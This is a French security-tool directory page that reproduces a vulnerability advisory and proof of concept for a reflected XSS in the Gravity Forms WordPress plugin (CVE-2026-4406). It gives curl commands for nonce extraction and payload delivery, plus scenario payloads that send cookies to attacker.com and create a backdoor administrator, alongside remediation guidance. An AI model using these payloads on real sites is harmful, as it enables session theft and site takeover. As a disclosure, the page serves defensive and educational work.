Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4406 — Le plugin Gravity Forms pour WordPress (testé jusqu'à la version 2.9.28) est vulnérable à un cross-site scripting (XSS) réfléchi non authentifié via le paramètre `form_ids` dans l'action AJAX `gform_get_config`. | Kitploit
Outils/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4406
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubhann1bl3l3ct3r/cve-2026-4406

CVE-2026-4406

Le plugin Gravity Forms pour WordPress (testé jusqu'à la version 2.9.28) est vulnérable à un cross-site scripting (XSS) réfléchi non authentifié via le paramètre `form_ids` dans l'action AJAX `gform_get_config`.

Voir le dépôt
15il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Gravity Forms <= 2.9.28 — Cross-Site Scripting réfléchi non authentifié via le paramètre form_ids de gform_get_config

Résumé de la vulnérabilité

{"success":true,"data":{"common":{"form":{"pagination":{"":null}}}}} {"success":true,"data":{"common":{"form":{"pagination":{"":null,"":null}}}}}
ChampValeur
Logiciel concernéGravity Forms (Plugin WordPress)
ÉditeurRocketgenius, Inc.
Type de vulnérabilitéCWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de pages Web (Cross-Site Scripting réfléchi)
Chaîne CWECWE-20 → CWE-116 → CWE-838 → CWE-79 (voir l'analyse CWE ci-dessous)
Versions concernéesConfirmé sur 2.9.28 (dernière version au moment de la découverte) ; les versions antérieures sont probablement concernées
Version corrigée2.9.30.1 (correctif d'urgence)
Score CVSS 3.16.1 (Moyen)
Vecteur CVSS 3.1AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Authentification requiseAucune (non authentifié)
Interaction utilisateurRequise (la victime doit visiter une page contrôlée par l'attaquant ou cliquer sur un lien conçu à cet effet)
Découvert parAnthony Cihan — Obviam
Date de découverte2026-03-04
Date de divulgation2026-03-18
Identifiant CVECVE-2026-4406

Enregistrement public Wordfence


Description

Le plugin Gravity Forms pour WordPress (testé jusqu'à la version 2.9.28) est vulnérable à un cross-site scripting (XSS) réfléchi non authentifié via le paramètre form_ids de l'action AJAX gform_get_config. La vulnérabilité existe parce que les valeurs form_ids fournies par l'utilisateur sont reflétées textuellement dans la réponse HTTP du serveur sans aucune assainissement, encodage ou échappement de sortie. La réponse est servie avec un en-tête Content-Type: text/html; charset=UTF-8, ce qui amène le navigateur à analyser et à rendre le contenu reflété comme du HTML, y compris tout élément de script injecté.

Un attaquant non authentifié peut exploiter cette vulnérabilité pour exécuter du JavaScript arbitraire dans le contexte de l'origine du site WordPress cible. Étant donné que l'action gform_get_config nécessite un config_nonce valide, et que ce nonce est publiquement intégré dans le code source HTML de chaque page qui charge un formulaire Gravity Forms, un attaquant peut trivialement obtenir un nonce valide en demandant n'importe quelle page publique du site cible avant de construire la requête d'exploitation.

Une exploitation réussie permet à un attaquant de voler les cookies de session, d'effectuer des actions au nom d'utilisateurs authentifiés (y compris les administrateurs WordPress), de rediriger les utilisateurs vers des sites malveillants, de défigurer le contenu des pages ou d'établir un accès persistant via la création de comptes administratifs.


Analyse de la cause racine

Point de terminaison vulnérable```

POST /wp-admin/admin-ajax.php

root@kitploit:~
### Action vulnérable```
gform_get_config

Paramètre vulnérable

Le paramètre POST args accepte un objet JSON contenant un tableau form_ids. Les valeurs de ce tableau sont utilisées comme clés d'objet dans la structure de la réponse JSON sans assainissement :```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

root@kitploit:~
### Comportement de la réponse

Le serveur traite les valeurs de `form_ids` et les reflète comme clés JSON dans le corps de la réponse. La réponse est encapsulée dans des marqueurs de commentaire HTML et servie en tant que `text/html` :```
Content-Type: text/html; charset=UTF-8

<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->

Pourquoi c'est exploitable

  1. Aucune validation des entrées : Les valeurs form_ids ne sont pas validées comme entiers, ni assainies, ni filtrées. Le serveur accepte tout contenu de chaîne arbitraire, y compris des balises HTML et des gestionnaires d'événements.
  2. Aucun encodage de sortie : Les valeurs form_ids sont reflétées dans le corps de la réponse sans encodage des entités HTML. Les caractères tels que <, >, " et ' transitent sans modification.
  3. Type de contenu HTML : La réponse est servie avec Content-Type: text/html; charset=UTF-8, ce qui indique au navigateur d'analyser le corps de la réponse comme du HTML. Toute balise HTML présente dans la valeur reflétée est instanciée et rendue par l'analyseur HTML du navigateur.
  4. Nonce accessible publiquement : Le config_nonce requis par l'action gform_get_config est intégré dans l'objet de configuration JavaScript (gform_theme_config) sur chaque page qui charge un formulaire Gravity Forms. Ce nonce est identique sur toutes les pages et n'est lié à aucune session utilisateur spécifique, ce qui le rend trivialement accessible aux utilisateurs non authentifiés.

Analyse CWE

Cette vulnérabilité résulte de plusieurs faiblesses contributives qui s'enchaînent pour produire la condition exploitable. Bien que CWE-79 soit la classification principale à des fins de rapport CVE, la chaîne complète documente comment chaque défaillance se cumule pour permettre l'exploitation.

Chaîne de faiblesses```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

root@kitploit:~
### CWE-20 : Validation incorrecte des entrées (facteur contribuant)

**Rôle :** Facilitateur racine — permet à des données malveillantes d'entrer dans le pipeline de traitement.

Le paramètre `form_ids` dans l'objet JSON `args` est censé contenir des identifiants numériques de formulaires, mais accepte toute chaîne de caractères arbitraire sans aucune validation. Aucune vérification de type (`intval()`), aucun filtrage par expression régulière (`^[0-9]+$`), aucune comparaison avec une liste blanche d'identifiants de formulaires connus, et aucune restriction de longueur ne sont appliqués.

**Preuve :** Le serveur accepte et traite des valeurs `form_ids` contenant des balises HTML, des gestionnaires d'événements JavaScript et tout caractère Unicode arbitraire sans les rejeter.```json
{"form_ids":["<svg onload=alert(1)>"]}    ← Accepted
{"form_ids":["3"]}                         ← Expected

CWE-116 : Encodage ou échappement de sortie inapproprié (défaillance technique principale)

Rôle : Vulnérabilité principale — la cause directe de la condition XSS.

Lorsque le serveur construit la réponse JSON contenant les valeurs form_ids, il n'applique pas l'encodage des entités HTML à la sortie. Les caractères ayant une signification spéciale en HTML (<, >, ", ', &) transitent sans modification dans le corps de la réponse. Les fonctions PHP htmlspecialchars(), esc_html(), wp_json_encode() avec JSON_HEX_TAG, ou les fonctions d'encodage de sortie équivalentes ne sont pas appliquées aux valeurs form_ids avant qu'elles ne soient écrites dans la réponse.

Preuve : La chaîne littérale <svg onload=alert(document.domain)> apparaît dans le corps de la réponse octet pour octet identique à l'entrée, plutôt que sous la forme &lt;svg onload=alert(document.domain)&gt;.

CWE-838 : Encodage inapproprié pour le contexte de sortie (aggravant)

Rôle : Escalade de contexte — transforme un problème de réflexion de données en injection de code exécutable.

Le corps de la réponse contient des données structurées en JSON mais est servi avec Content-Type: text/html; charset=UTF-8. Cette déclaration de Content-Type indique à l'analyseur HTML du navigateur de traiter l'intégralité du corps de la réponse comme un document HTML. Si la réponse était servie en tant que application/json, le navigateur afficherait la réponse sous forme de texte brut et aucun analyseur HTML ne serait exécuté — les balises injectées seraient affichées sous forme de texte littéral plutôt que d'être instanciées en tant qu'éléments DOM.

Preuve :```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

root@kitploit:~
L'en-tête `X-Content-Type-Options: nosniff` est présent mais sans importance, car le serveur déclare explicitement `text/html` — il n'y a aucun sniffing de type MIME à empêcher.

### CWE-79 : Neutralisation inappropriée de l'entrée lors de la génération de pages Web — XSS réfléchi (résultant)

**Rôle :** Conséquence exploitable — la vulnérabilité réalisée.

La combinaison des trois faiblesses contributives produit une condition de cross-site scripting réfléchi. L'entrée fournie par l'utilisateur circule de la requête HTTP via le traitement côté serveur jusqu'à la réponse HTTP sans assainissement, encodage ou déclaration de Content-Type adaptée au contexte, entraînant l'exécution de JavaScript arbitraire dans le navigateur de la victime.

**Sous-type :** Réfléchi (Type 1) — la charge utile est incluse dans la requête HTTP et immédiatement reflétée dans la réponse HTTP sans stockage.

### Tableau récapitulatif

| ID CWE | Nom | Rôle | Exploitable seul ? |
|---|---|---|---|
| CWE-20 | Validation d'entrée inappropriée | Contributif (activateur racine) | Non — des données malveillantes entrent mais ne sont pas rendues |
| CWE-116 | Encodage ou échappement de sortie inapproprié | Défaillance technique principale | Partiellement — nécessite un contexte de rendu HTML |
| CWE-838 | Encodage inapproprié pour le contexte de sortie | Aggravant (escalade de contexte) | Non — nécessite la présence de données non échappées |
| CWE-79 | Cross-Site Scripting (réfléchi) | **Résultant (exploitable)** | **Oui — c'est la vulnérabilité réalisée** |

### Analyse du correctif minimal

Toute **unique** remédiation de la liste ci-dessous romprait la chaîne et empêcherait l'exploitation :

| Correctif | Rompt la chaîne à | Suffisant seul ? |
|---|---|---|
| Convertir `form_ids` en entiers par transtypage | CWE-20 (entrée) | ✅ Oui |
| Encoder la sortie avec des entités HTML | CWE-116 (sortie) | ✅ Oui |
| Servir la réponse en `application/json` | CWE-838 (contexte) | ✅ Oui |

**Recommandation :** Mettre en œuvre les trois mesures en défense en profondeur. Le correctif le plus critique est l'encodage de sortie (CWE-116), car il protège contre les vecteurs d'injection actuels et futurs, indépendamment de la validation d'entrée ou des modifications du Content-Type.

---

## Référence de soumission Wordfence

| Champ | Valeur |
|---|---|
| **Type de logiciel** | Plugin WordPress |
| **Slug du logiciel** | `gravityforms` |
| **URL Wordfence Intel** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Versions affectées** | <= 2.9.28 (dernière confirmée) |
| **Titre de la vulnérabilité** | Gravity Forms <= 2.9.28 — Cross-Site Scripting réfléchi non authentifié via le paramètre `form_ids` |
| **CWE (principal)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Privilège requis** | Non authentifié |
| **État du correctif** | Corrigé dans la version 2.9.30.1 |

---

## Configuration affectée

### Conditions requises côté serveur

- Installation WordPress avec le plugin Gravity Forms actif (tout formulaire publié)
- L'action AJAX `gform_get_config` enregistrée (comportement par défaut lors de l'activation du plugin)

### Accessibilité du nonce

Le `config_nonce` est intégré dans la variable JavaScript globale `gform_theme_config` sur toute page contenant un formulaire Gravity Forms :```javascript
var gform_theme_config = {
  "common": { ... },
  "config_nonce": "9308d72c0a"    // ← Publicly accessible
};

Ce nonce a été confirmé comme étant :

  • Identique sur toutes les pages du site cible (page d'accueil, pages de formulaire, pages sans formulaire)
  • Non lié à une session utilisateur (même valeur renvoyée avec ou sans cookies)
  • Non renouvelé par requête (statique pendant de longues périodes)

En-têtes de sécurité présents (insuffisants)

En-têteValeurImpact sur l'exploitabilité
X-Content-Type-OptionsnosniffN'atténue pas — le serveur déclare explicitement text/html
X-Frame-OptionsSAMEORIGINEmpêche l'exploitation par iframe depuis une origine croisée ; la livraison par popup/redirection fonctionne toujours
Content-Security-Policyframe-ancestors 'self';Aucune directive script-src — l'exécution de scripts en ligne n'est pas restreinte
Referrer-Policystrict-origin-when-cross-originAucun impact sur l'exploitabilité

Preuve de concept

Environnement

ComposantVersion
WordPress6.9.1
Gravity Forms2.9.28
Serveur webApache (HTTP/2)
Plateforme de testKali Linux, curl 8.x

Étape 1 : Obtenir un nonce valide

Demandez n'importe quelle page du site cible qui charge un formulaire Gravity Forms et extrayez la valeur config_nonce :```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

root@kitploit:~
**Exemple de sortie :**```
9308d72c0a

Étape 2 : Envoyer la requête d'exploitation

Envoyez une requête POST au gestionnaire AJAX de WordPress avec une valeur form_ids spécialement conçue contenant une charge utile XSS :```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

root@kitploit:~
### Étape 3 : Observer la réflexion

**En-têtes de réponse HTTP :**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache

Corps de la réponse HTTP :```html

root@kitploit:~
Le payload `<svg onload=alert(document.domain)>` est reflété **textuellement, sans aucun encodage**, dans le corps de la réponse. Comme la réponse est servie en tant que `text/html`, le navigateur instancie l'élément SVG et exécute le gestionnaire d'événements `onload`, déclenchant l'exécution de JavaScript dans le contexte de l'origine du site cible.

### Observations supplémentaires

**Plusieurs payloads peuvent être injectés simultanément** via le tableau `form_ids` :```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

Réponse :```html

root@kitploit:~
**Le numéro de formulaire `config_path` est arbitraire** — n'importe quel entier fonctionne (testé : `1`, `3`, `999`), et les chemins de configuration invalides renvoient un message d'erreur qui ne reflète pas la valeur de `form_ids`.

---

## Scénarios d'exploitation

### Scénario 1 : Détournement de session via exfiltration de cookies

Un attaquant héberge une page qui récupère automatiquement un nonce valide depuis la cible, puis soumet le formulaire d'exploitation dans une fenêtre contextuelle. La charge utile exfiltre les cookies de session vers un serveur contrôlé par l'attaquant :

**Charge utile :**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>

JavaScript déchiffré :```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

root@kitploit:~
Cette technique utilise le motif d’auto-référence `this.id` pour éviter les guillemets et les espaces dans le contexte d’attribut reflété, encodant toute la logique de l’exploit en Base64 dans l’attribut `id` de l’élément SVG.

Si un administrateur WordPress authentifié visite la page de l’attaquant, son cookie de session (`wordpress_logged_in_*`, `wordpress_sec_*`) est transmis à l’attaquant, qui peut alors usurper l’identité de l’administrateur.

### Scénario 2 : Création d’un compte administrateur

En utilisant le même mécanisme de livraison, la charge utile peut effectuer des requêtes API authentifiées vers l’API REST de WordPress ou les pages d’administration afin de créer un nouveau compte administrateur :```javascript
fetch('/wp-json/wp/v2/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
  body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});

Scénario 3 : Prise de contrôle du DOM pour hameçonnage

Le XSS réfléchi peut remplacer l’intégralité du DOM de la page par une superposition de hameçonnage convaincante (par exemple, une fausse page de connexion ou une invite de session expirée) afin de récolter directement les identifiants.


Flux d’attaque```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

root@kitploit:~
---

## Cartographie MITRE ATT&CK

| Tactic | Technique | ID | Description |
|---|---|---|---|
| Accès initial | Compromission par navigation | T1189 | La victime visite une page contrôlée par l'attaquant hébergeant le mécanisme de livraison XSS |
| Exécution | Exécution par l'utilisateur : Lien malveillant | T1204.001 | La victime clique sur un lien vers la page de l'attaquant ou y est redirigée |
| Accès aux identifiants | Vol de cookie de session web | T1539 | La charge utile XSS exfiltre les cookies de session du navigateur de la victime |
| Persistance | Création de compte | T1136.001 | L'attaquant utilise la session administrateur volée pour créer un compte administrateur backdoor |
| Contournement de la défense | Abus du mécanisme de contrôle d'élévation | T1548 | Le XSS s'exécute dans le contexte de la session d'un utilisateur privilégié |

---

## Évaluation de l'impact

### Confidentialité

- **Cookies de session** (y compris `wordpress_logged_in_*` et `wordpress_sec_*`) peuvent être exfiltrés
- **Nonces CSRF** visibles dans le DOM peuvent être capturés pour des requêtes API ultérieures
- **Données personnelles des utilisateurs** affichées sur les pages d'administration sont accessibles au script injecté

### Intégrité

- **Actions administratives** peuvent être effectuées au nom de la victime (création de publications, installation de plugins, gestion des utilisateurs, édition de thèmes)
- **Contenu du site** peut être modifié ou défiguré
- **Comptes backdoor** peuvent être créés pour un accès persistant

### Disponibilité

- **Prise de contrôle du site** via la compromission du compte administrateur peut entraîner une perte totale de disponibilité
- **Injection de logiciels malveillants** via l'éditeur de thème/plugin pourrait rendre le site inutilisable ou nuisible pour les visiteurs

---

## Recommandations de remédiation

### Pour Gravity Forms (Fournisseur)

1. **Validation des entrées** — Appliquer un typage strict en entier sur toutes les valeurs `form_ids` avant traitement. Rejeter toute valeur ne correspondant pas à `^[0-9]+$` :   ```php
   $form_ids = array_map('intval', $form_ids);
   $form_ids = array_filter($form_ids, function($id) { return $id > 0; });
  1. Encodage de la sortie — Appliquez wp_json_encode() avec les indicateurs JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT lors de la construction de la réponse JSON afin de garantir que les caractères significatifs en HTML soient échappés : ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    root@kitploit:~
  2. Correction du Content-Type — Définissez le Content-Type de la réponse sur application/json au lieu de text/html pour toutes les réponses JSON AJAX. Cela empêche le navigateur d'analyser la réponse comme du HTML, même si un contenu non assaini est reflété : ```php header('Content-Type: application/json; charset=UTF-8');
    root@kitploit:~
  3. Portée du nonce — Envisagez de lier le config_nonce à la session utilisateur ou de mettre en place une limitation de débit sur la génération des nonces afin d'augmenter le coût d'une exploitation automatisée.

Pour les administrateurs de sites (atténuation immédiate)

  1. Pare-feu applicatif web (WAF) — Déployez des règles WAF pour détecter et bloquer les balises HTML dans le paramètre args des requêtes POST vers admin-ajax.php où action=gform_get_config
  2. Politique de sécurité du contenu — Mettez en œuvre une directive CSP script-src restrictive (par exemple, script-src 'self') pour empêcher l'exécution de scripts intégrés même en cas de réflexion
  3. Surveillez les mises à jour — Appliquez le correctif Gravity Forms dès sa publication
  4. Auditez les comptes administrateurs — Vérifiez les comptes administrateur existants pour détecter toute addition non autorisée

Chronologie de la divulgation

DateÉvénement
2026-03-04Vulnérabilité découverte lors d'un test d'intrusion autorisé
2026-03-04Signalée à Wordfence (CNA WordPress)
2026-03-XXRejet initial par Wordfence (classée à tort comme XSS auto-infligé)
2026-03-XXResoumise avec une preuve de concept armée et une analyse des nonces ; décision inversée
2026-03-18CVE-2026-4406 attribuée par Wordfence
2026-03-18Éditeur notifié via [email protected]
2026-03-21L'éditeur a accusé réception et fourni un correctif provisoire (2.9.30.1) pour examen
2026-04-02Correctif vérifié — la validation d'entrée absint() sur form_ids et Content-Type: application/json confirmée comme remédiant à la vulnérabilité
2026-04-02Vulnérabilité résolue

Références

  • Documentation de sécurité Gravity Forms
  • [Contact sécurité Gravity Forms](mailto:[email protected])
  • CWE-79 : Neutralisation inappropriée des entrées lors de la génération de pages web
  • OWASP Cross-Site Scripting (XSS)
  • API AJAX WordPress — admin-ajax.php
  • CVE-2023-2701 — XSS Gravity Forms antérieur (vecteur différent)
  • CVE-2024-13377 — XSS stocké Gravity Forms antérieur via le paramètre alt (vecteur différent)

Avertissement

Cette vulnérabilité a été découverte lors d'un engagement de test d'intrusion autorisé mené dans le cadre d'une déclaration de travaux signée avec une autorisation écrite explicite. Tous les tests ont été effectués dans le périmètre convenu, et les résultats ont été signalés au client immédiatement après leur découverte. Cette divulgation suit les pratiques de divulgation responsable. Aucun système non autorisé n'a été accédé, et aucune donnée n'a été exfiltrée en dehors d'une validation contrôlée de preuve de concept.


Découvert par : Anthony Cihan

Télécharger l’outil